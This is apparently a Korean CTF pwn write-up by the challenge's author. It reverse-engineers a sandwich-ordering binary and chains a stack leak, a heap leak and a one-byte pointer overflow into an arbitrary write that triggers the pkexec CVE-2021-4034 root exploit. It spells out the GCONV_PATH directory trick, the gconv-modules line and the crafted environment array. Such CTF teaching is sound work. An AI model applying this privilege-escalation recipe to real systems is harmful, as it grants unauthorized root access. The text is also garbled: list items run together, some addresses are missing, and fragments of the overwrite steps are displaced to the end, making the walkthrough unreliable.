
CTF pwn 챌린지 writeup: CVE-2021-4034(pkexec)를 힙 조작을 통해 익스플로잇하며, Ghidra 기반 리버스 엔지니어링과 커스텀 shelly.so 헬퍼 바이너리를 사용한 분석.
이것은 CVE-2021-4034 취약점을 악용해야 하는 제가 C로 작성한 CTF pwn 문제입니다. 플레이어는 이 저장소의 challenge 디렉터리에 있는 2개의 바이너리를 받습니다. chal 바이너리는 CTF 문제를 구현하고, shelly.so는 도우미 바이너리입니다.
이 글을 작성할 당시 Dockerfile은 아직 완성되지 않았습니다. Dockerfile은 라이브 CTF 중에 이 문제를 배포하는 데 필요하지만 로컬에서는 필요하지 않습니다: 다음과 같이 사용자 권한을 설정하고 취약한 패키지를 설치하여 로컬에서도 이 문제를 에뮬레이션할 수 있습니다:
libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1를 설치합니다.root:root 소유의 flag.txt 파일을 생성합니다.challenge 폴더의 파일을 현재 디렉터리로 다운로드합니다.chal을 실행합니다.chal 바이너리를 실행하면 이 바이너리가 무엇을 하는지 대략적으로 알 수 있습니다:```
WELCOME TO THE HUB CTRL+ALT+DELICIOUS
We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte
`Add` 함수의 입력 크기와 `Cancel` 함수의 인덱스를 가지고 실험해봐도 특별한 점은 없습니다 (오버플로우나 세그멘테이션 폴트 없음). 하지만 몇 가지 흥미로운 점이 있습니다:
- 주문은 리스트(아마도 연결 리스트)에 저장되는 것으로 보이며, 0-인덱스인 것 같습니다?
- `Order number: 0x7ffde93681f0`라는 출력이 있는데, 이는 스택의 어떤 위치를 출력하는 것으로 보입니다?
- 또한, 프로그램은 우리가 입력한 이름으로 디렉토리를 생성하고, 그 안에 3개의 실행 파일을 만드는데, 그 중 하나는 우리가 받은 헬퍼 바이너리 파일입니다:```sh
peasant@Tin-VM:~/Desktop$ ls
chal chal.c Dockerfile shelly.so solve.py tin
peasant@Tin-VM:~/Desktop$ ls -l tin/
total 28
-rwxrwx--- 1 peasant vboxsf 5 Feb 4 14:33 notes
-rwxrwx--- 1 peasant vboxsf 20 Feb 4 14:33 recipe
-rwxr-x--- 1 peasant vboxsf 16488 Feb 4 14:33 shelly.so
peasant@Tin-VM:~/Desktop$ cat tin/notes
0000
peasant@Tin-VM:~/Desktop$ cat tin/recipe
aaaa
bbbb
cccc
dddc
실행 파일에는 우리의 입력이 포함되어 있습니다.
다른 함수들을 가지고 놀면서 버그를 발견할 수도 있겠지만(그럴 가능성이 높습니다), 본론으로 들어가서 Ghidra에서 프로그램을 열어보겠습니다.
프로그램을 실행할 때 나타나는 문자열과 Ghidra에 있는 문자열을 비교하면, 일부 FUN_* 함수들을 익숙한 이름으로 바꿀 수 있습니다:```C
undefined8 main(void)
{ int iVar1; size_t sVar2; undefined2 *puVar3; long in_FS_OFFSET; int opt; int local_1c; char *local_18; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "/recipe"; print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n"); print( "We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n" ); while( true ) { print("1. ENTER THE HUB\n"); print("2. QUIT\n"); __isoc99_scanf(&DAT_001030c5,&opt); getc(stdin); if (opt != 1) break; printf("Order number: %p\n",&local_18); print("Enter your name: "); __isoc99_scanf(&DAT_0010334f,&DAT_00105120); sVar2 = strlen(&DAT_00105120); puVar3 = (undefined2 *)malloc(sVar2 + 2); DAT_00105100 = puVar3; *puVar3 = 0x2f2e; *(undefined *)(puVar3 + 1) = 0; strcpy((char *)(DAT_00105100 + 1),&DAT_00105120); iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060); if (iVar1 == -1) { mkdir((char *)DAT_00105100,0x1c0); } DAT_00105140 = 0; order_cnt = 0; for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) { *(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0; } main_menu(); } print("Come again :)\n");
The `printf("Order number: %p\n",&local_18);` **스택에 있는 지역 변수의 위치를 출력합니다.**
gdb로 빠르게 확인해보면 누출된 주소가 상수 문자열 `/recipe`에 대한 포인터의 주소임을 알 수 있습니다:```gdb
...
Order number: 0x7fffffffdfc0
...
gef➤ x/gx 0x7fffffffdfc0
0x7fffffffdfc0: 0x0000555555559020
gef➤ x/s 0x0000555555559020
0x555555559020: "/recipe"
우리는 mkdir 호출을 볼 수 있는데, 이는 현재 디렉토리에 입력한 이름으로 디렉토리를 생성합니다.
이는 프로그램을 실행했을 때 우리가 관찰한 것과 일치합니다. 그런 다음 main_menu 함수를 호출하기 전에 일부 변수를 초기화하며, 이 함수는 대략 다음과 같이 생겼습니다:```C
while( true ) {
while( true ) {
while( true ) {
while( true ) {
while( true ) {
while( true ) {
print("1. ADD NEW ORDER\n");
print("2. EDIT ORDER\n");
print("3. SHOW ORDER\n");
print("4. CANCEL ORDER\n");
print("5. CHECKOUT\n");
print("6. DONE\n");
__isoc99_scanf(&DAT_001030c5,&local_40);
getc(stdin);
if (local_40 != 1) break;
add_order();
}
if (local_40 != 2) break;
edit_order();
}
if (local_40 != 3) break;
show_order();
}
if (local_40 != 4) break;
cancel_order();
}
if (local_40 != 5) break;
checkout();
}
if (local_40 == 6) break;
if (local_40 == 0x539) {
print(
"\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN 'T GUESS THE SECRET RECIPE.\n"
);
fgets(inp,0x20,stdin);
getrandom(random-bytes,0x10,0);
for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) {
if (inp[local_3c] != random-bytes[local_3c]) {
print("...Nuh Uh!...\n");
/* WARNING: Subroutine does not return */
exit(0);
}
print("...Ooh Yes.. sCruMpTioUs...");
}
print("Fine... I'll give you a taste.\n");
FUN_00101504();
}
REV에 익숙하지 않다면, 이것은 C 언어에서 `switch` 문을 디컴파일한 것입니다. `0x539`라는 흥미로운 옵션이 하나 있습니다. 이 옵션을 통해 플레이어는 `0x10`개의 임의 바이트를 추측할 수 있습니다. 모든 바이트가 같으면 `FUN_00101504();`를 호출하는데, 이 함수는 `system("cat flag.txt");`를 실행합니다. 그렇지 않으면 프로그램이 종료됩니다.
하지만 16개의 임의 바이트를 브루트포싱하는 것은 256**16 = 340282366920938463463374607431768211456가지의 모든 가능성을 시도하는 것과 같습니다. 이건 행운을 빌어요 ㅋㅋ.
모든 가능성을 통과하더라도 프로그램은 여전히 권한이 없기 때문에 플래그를 읽을 수 없습니다. 이 `cat flag.txt` 문장은 의도적인 것으로, 경험 없는 플레이어를 속여 이 `0x539` 메뉴 옵션을 선택하게 하는 것뿐만 아니라, 플레이어가 단순히 이 함수를 호출하여 플래그를 읽지 못하게 방지하기 위해서이며, 이에 대해서는 나중에 자세히 다룰 것입니다.
***
## 추가```C
int iVar1;
undefined8 *puVar2;
void *pvVar3;
undefined8 *ptr2;
if (order_cnt < 10) {
puVar2 = (undefined8 *)malloc(0x30);
print("Pick your bread: ");
readline(puVar2 + 1,8);
print("Select your spread: ");
readline(puVar2 + 2,8);
print("Choose your veg: ");
readline(puVar2 + 3,8);
print("Slam your meat & egg: ");
readline(puVar2 + 4,9);
iVar1 = order_cnt;
pvVar3 = malloc(0x30);
*(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
*puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
print("Any side notes for the cook? ");
readline(*puVar2,0x30);
puVar2[5] = 0;
if (DAT_00105140 != (undefined8 *)0x0) {
for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
}
ptr2[5] = puVar2;
puVar2 = DAT_00105140;
}
DAT_00105140 = puVar2;
order_cnt = order_cnt + 1;
}
...
여기 있는 변수들이 눈에 잘 들어오지 않는다면, 제가 이렇게 이름을 바꾸는 데 시간을 들였기 때문입니다. 리버스 엔지니어링 중에 상황을 추적하려면 여러분도 이렇게 이름을 바꿔야 합니다. 자, 주요 포인트를 살펴보겠습니다:
puVar2는 크기가 0x30인 malloc 청크입니다.puVar3 포인터로, 8바이트 길이이며 현재 청크의 notes를 가리킵니다.puVar2[5] = 0; 줄이 우리의 1바이트 오버플로우를 어쨌든 NULL로 덮어씁니다.DAT_00105140 == 0이면, 새로운 청크로 설정하기만 하므로, 이것이 리스트의 head 포인터일까요?... print("Enter order index: "); __isoc99_scanf(&DAT_001030c5,&local_20); getc(stdin); if ((local_20 < 0) || (order_cnt <= local_20)) { print("Invalid index!\n"); } else { local_18 = head; for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) { local_18 = (undefined8 *)local_18[5]; } print("Pick your bread: "); readline(local_18 + 1,8); print("Select your spread: "); readline(local_18 + 2,8); print("Choose your veg: "); readline(local_18 + 3,8);WE print("Slam your meat & egg: "); readline(local_18 + 4,9); print("Any side notes for the cook? "); readline(*local_18,0x30); } ...
입력 인덱스에 대한 검사가 있으므로 임의 위치를 편집할 수 없습니다.
**하지만, 4번째 필드에서 9바이트를 읽어 5번째 필드로 1바이트 오버플로우되는 것은 여전히 존재합니다!!! `nxt` 포인터에 1바이트를 덮어쓸 수 있습니다**
***
## Show```C
...
if (local_18 != (undefined8 *)0x0) {
printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
}
...
%s는 NULL 문자가 나올 때까지 출력하므로, 4번째 필드가 8바이트 길이라면, 4번째 %s는 우리 청크의 4번째 필드와 5번째 필드의 nxt 포인터 값을 출력할 것입니다.
=> 힙(heap) 누수(leak)를 얻습니다!!!
여기서 흥미로운 것은 없습니다.
strcpy(local_d8,dir_name); sVar2 = strlen(dir_name); strcpy(local_d8 + sVar2,"/recipe"); creat(local_d8,0x1c0); iVar1 = open(local_d8,2); if (iVar1 == -1) { print("Error opening file f.\n"); /* WARNING: Subroutine does not return / exit(0); } chmod(local_d8,0x1f8); strcpy(local_98,dir_name); sVar2 = strlen(dir_name); strcpy(local_98 + sVar2,"/notes"); printf("%s %s\n","/notes",local_98); creat(local_98,0x1c0); __fd = open(local_98,2); if (__fd == -1) { print("Error opening file f_notes.\n"); / WARNING: Subroutine does not return */ exit(0); } chmod(local_98,0x1f8);
그래서 입력한 이름의 디렉토리에 `recipe`와 `notes` 파일을 생성합니다. `chmod` 문은 이 파일들을 실행 가능 모드로 설정합니다: `0x1f8`과 `0x1c0`은 각각 8진수로 `0700`과 `0770`입니다.```C
...
for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
{
sVar2 = strlen((char *)(local_e0 + 1));
write(iVar1,local_e0 + 1,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 2));
write(iVar1,local_e0 + 2,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 3));
write(iVar1,local_e0 + 3,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 1));
write(iVar1,local_e0 + 4,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen(*local_e0);
write(__fd,*local_e0,sVar2);
write(__fd,&DAT_00103127,1);
local_e0 = (char **)local_e0[5];
}
iVar1 = close(iVar1);
if (-1 < iVar1) {
iVar1 = close(__fd);
if (-1 < iVar1) {
local_58 = 0x2f706d742f207063;
local_50 = 0x732e796c6c656873;
local_48 = 0x206f;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
strcpy((char *)((long)&local_48 + 2),dir_name);
system((char *)&local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
}
...
이 거대하고 지저분한 코드 블록은 기본적으로 우리 청크의 내용을 이 파일들에 작성한 다음, 명령어 cp /tmp/shelly.so dir_name을 실행합니다. 여기서 dir_name은 프로그램 시작 시 우리가 제공한 이름입니다.
void FUN_00101e84(void)
{ long in_FS_OFFSET; char *local_18; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("HOLD UP, LET HIM COOK."); local_18 = (char *)0x0; execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array); if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
이것은 흥미로운 함수입니다. 이 함수는 `notes` 배열 포인터를 환경 변수로 사용하여 `NULL argv`와 함께 `pkexec`를 호출하는데, 이는 우리의 CVE-2021-4034에서 취약한 명령입니다. 이것이 우리가 `notes`를 조작하고 어떻게든 실행을 이 함수로 리디렉션해야 한다는 것을 시사합니까?
***
## shelly.so
Ghidra에서 이것을 열어보면, 이는 분명히 `set-UID-root` 라이브러리이며, 이는 CVE 익스플로잇에 사용된 것들과 유사합니다.
***
# Summary
주요 사항:
1. 프로그램 시작 부분(주문 번호)에 스택 누출이 있으며, 이는 `recipe` 파일을 생성하는 데 사용되는 상수 문자열 `/recipe`의 주소를 보유합니다.
2. 청크의 0번째 필드는 `notes` 포인터입니다.
3. 청크의 5번째 필드는 연결 리스트에서 다음 청크를 가리키는 `nxt` 포인터입니다.
4. `Show`는 청크의 5번째 필드인 힙 주소를 유출할 수 있습니다.
5. `Edit`는 5번째 필드에 1바이트를 덮어쓸 수 있습니다. **이것이 유일한 임의 쓰기 버그입니다!!**
6. `FUN_00101e84`는 NULL argv와 우리가 제어하는 환경 변수(`notes` 배열)로 `pkexec`를 호출합니다.
***
# Exploitation
## Heap chunk layout
gdb에서 빠른 검사를 통해 프로그램 내 서로 다른 청크 간의 오프셋을 알 수 있습니다:```gdb
...
Pick your bread: aaaa
Select your spread: a
Choose your veg: a
Slam your meat & egg: a
Any side notes for the cook? 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: bbbb
Select your spread: b
Choose your veg: b
Slam your meat & egg: b
Any side notes for the cook? 1111
...
gef➤ search-pattern aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
0x55555555aae8 - 0x55555555aaec → "aaaa"
gef➤ x/30gx 0x55555555aae8-0x18
0x55555555aad0: 0x0000000000000000 0x0000000000000041
0x55555555aae0: 0x000055555555ab20 0x0000000061616161
0x55555555aaf0: 0x0000000000000061 0x0000000000000061
0x55555555ab00: 0x0000000000000061 0x000055555555ab60
0x55555555ab10: 0x0000000000000000 0x0000000000000041
0x55555555ab20: 0x0000000030303030 0x0000000000000000
0x55555555ab30: 0x0000000000000000 0x0000000000000000
0x55555555ab40: 0x0000000000000000 0x0000000000000000
0x55555555ab50: 0x0000000000000000 0x0000000000000041
0x55555555ab60: 0x000055555555aba0 0x0000000062626262
0x55555555ab70: 0x0000000000000062 0x0000000000000062
0x55555555ab80: 0x0000000000000062 0x0000000000000000
0x55555555ab90: 0x0000000000000000 0x0000000000000041
0x55555555aba0: 0x0000000031313131 0x0000000000000000
0x55555555abb0: 0x0000000000000000 0x0000000000000000
따라서 청크의 크기는 0x40(메타데이터 0x10바이트 포함)이며, 청크들은 (현재 청크 시작부터 다음 청크 시작까지) 0x40+0x40 = 0x80의 오프셋으로 분리됩니다. 이는 notes가 청크를 할당할 때마다 할당되어 항상 연속된 청크들 사이에 위치하기 때문입니다.
익스플로잇에 들어가기 전에, 1바이트 오버플로우 버그를 악용하여 임의 주소에 쓰는 방법은 무엇일까요? 다음 전략을 사용할 수 있습니다:
nxt 포인터를 유출합니다(요약 세션의 두 번째 지점).
C입니다.B = C-0x80이 됩니다.B의 최하위 바이트를 x라고 합시다.x + 8을 오버플로우합니다. 결과 nxt 포인터는 B + 8이 됩니다.
A = 0x55555555aae0이라고 하면, 유출된 주소는 B = 0x55555555ab60이 되고 x = 0xe8이 됩니다.0x55555555ab08에 있는 A의 5번째 필드의 마지막 바이트를 x로 덮어쓰면, 결과 포인터는 이 되어 과 다릅니다. 이는 우리가 원하는 것이 아닙니다.이 함수로 점프하는 방법이 있지만, 여기서는 다루지 않겠습니다. 하지만 시도하기 전에 Dockerfile을 살펴보세요. flag.txt에 대해 무엇인가 눈에 띄나요?```
...
chown root:root /home/ctf/flag.txt
...
USER peasant
CMD ["/home/ctf/start.sh"]
***IT IS OWNED BY ROOT, WHILE THE PROGRAM IS RAN AND OWNED BY AN UNPRIVILEGED USER***.
따라서 "cat flag.txt"를 실행하더라도 프로그램이 파일에 접근할 권한이 없기 때문에 플래그가 출력되지 않습니다. 이는 플래그를 읽기 위해 루트로 권한을 상승시켜야 함을 의미합니다.
## 2번째 방법 - CVE-2021-4034
CVE-2021-4034를 악용하려면 다음 설정이 필요합니다:
1. `GCONV_PATH=.`라는 이름의 디렉토리
2. 이 디렉토리 안에, `gconv-modules` 설정 파일이 위치할 디렉토리 이름과 동일한 실행 파일이 필요합니다. 이 예제에서는 `recipe`라고 합시다.
3. `recipe` 디렉토리 안에, 내용을 제어할 수 있는 `gconv-modules` 파일과 셸을 생성해 줄 동적 라이브러리가 필요합니다 (아마 주어진 바이너리 `shelly.so`일까요?).
4. 그런 다음 `gconv-modules`에 아래 5단계와 동일한 CHARSET과 동적 라이브러리 이름 `shelly.so`를 다음과 같이 입력합니다: `module UTF-8// SHELLY// shelly 2`.
5. 이 모든 작업 후에, NULL argv와 조작된 환경 변수 배열 `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}`로 `pkexec`를 호출합니다.
이제 이 챌린지를 악용하여 위 설정을 달성합니다.
***
### 목표 1-2
1-2단계는 쉽습니다: `GCONV_PATH=.`라는 사용자 이름으로 로그인하여 이 디렉토리를 생성하기만 하면 됩니다. 그런 다음 `checkout`을 수행하여 이 디렉토리 안에 실행 파일 `recipe`를 만듭니다. 그런 다음 첫 번째 메뉴로 돌아갑니다.
***
### 목표 3-4
`recipe`라는 사용자 이름으로 로그인하여 이 디렉토리를 생성합니다. 이제 `gconv-modules`라는 파일을 생성해야 *하지만*, `checkout`은 `recipe`와 `notes` 파일만 생성합니다.
문자열 `/notes`의 메모리 위치를 덮어써서 `/gconv-modules`로 바꾸면 어떨까요? 이 방법이 작동할 수 있지만, 해당 메모리가 쓰기 가능해야 합니다. gdb에서 확인해 보겠습니다:```gdb
gef➤ search-pattern /notes
[+] Searching '/notes' in memory
[+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
0x555555559010 - 0x555555559016 → "/notes"
그리고 쓰기 가능합니다!
어떻게 쓰기를 수행할까요?
/recipe가 어디에 있는지 알 수 있습니다./recipe에서 /notes까지의 오프셋이 0x10임을 알 수 있습니다. 1단계의 /recipe 주소에서 이 오프셋을 빼면 /notes 주소를 얻을 수 있습니다./notes를 /gconv-modules로 덮어씁니다.gconv-modules 파일에 올바른 내용을 쓰기 위해, checkout 시 청크의 notes 내용이 /notes(현재는 /gconv-modules)에 기록된다는 것을 알고 있습니다. 확실히 하기 위해, 모든 notes에 문자열 module UTF-8// SHELLY// shelly 2를 제공하면 됩니다.
따라서 이제 checkout을 호출할 때마다 recipe와 gconv-modules라는 두 개의 파일이 생성되고, gconv-modules 파일에 module UTF-8// SHELLY// shelly 2 (shelly를 사용하는 이유는 주어진 set-uid-root 라이브러리 .so의 이름이기 때문)와 같은 내용이 기록됩니다. 또한 같은 디렉토리에 shelly.so도 복사됩니다.
notes가 해당 환경 변수인 4개의 청크를 할당합니다. notes 포인터 배열에는 이 4개의 notes에 대한 4개의 포인터와 종료 NULL 포인터가 포함되며, 이것이 정확히 우리가 원하는 것입니다.main 함수의 RIP를 비밀 함수 FUN_00101e84로 덮어씁니다.
RIP가 어디에 있는지 어떻게 알 수 있나요? 프로그램 시작 시 유출된 스택 주소를 기억하시나요? gdb에 들어가서 RIP까지의 오프셋을 찾은 다음, 실제 유출된 주소에 그 오프셋을 더하여 RIP를 얻습니다.main이 어디에 있는지 어떻게 알 수 있나요? 목표 3-4의 2단계에서 유출된 /recipe의 주소를 기억하시나요? 여기서도 동일한 작업을 수행하세요!해설이 포함된 풀이 스크립트는 이 저장소에 제공되어 있습니다. 질문이 있으시면 언제든지 연락주세요 :)
nxt0x55555555**ab**e80x55555555**aa**e8C 대신 B + 8에 있습니다. 청크 B를 편집하여 첫 번째(bread) 필드에 쓰려는 target 주소를 포함시킵니다.B + 8부터 시작하는 내용을 덮어씁니다. 이 세 번째 청크의 notes 포인터가 target입니다! 따라서 notes에 쓰는 모든 내용이 target에 기록됩니다!